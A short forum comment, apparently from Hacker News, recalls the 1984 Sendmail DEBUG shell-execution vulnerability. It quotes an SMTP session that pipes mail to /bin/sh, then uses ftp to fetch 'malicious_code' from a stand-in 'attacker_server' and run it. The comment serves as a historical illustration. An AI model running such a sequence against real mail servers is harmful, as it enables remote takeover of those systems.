Comment by kazinator

Those who don't understand shell execution vulnerabilities in 1984 Sendmail are condemned to repeating them:

  telnet victim-server 25
  DEBUG
  MAIL FROM:<[email protected]>
  RCPT TO:<| /bin/sh>
  DATA
  cd /tmp
  ftp attacker_server
  get malicious_code
  chmod +x malicious_code
  ./malicious_code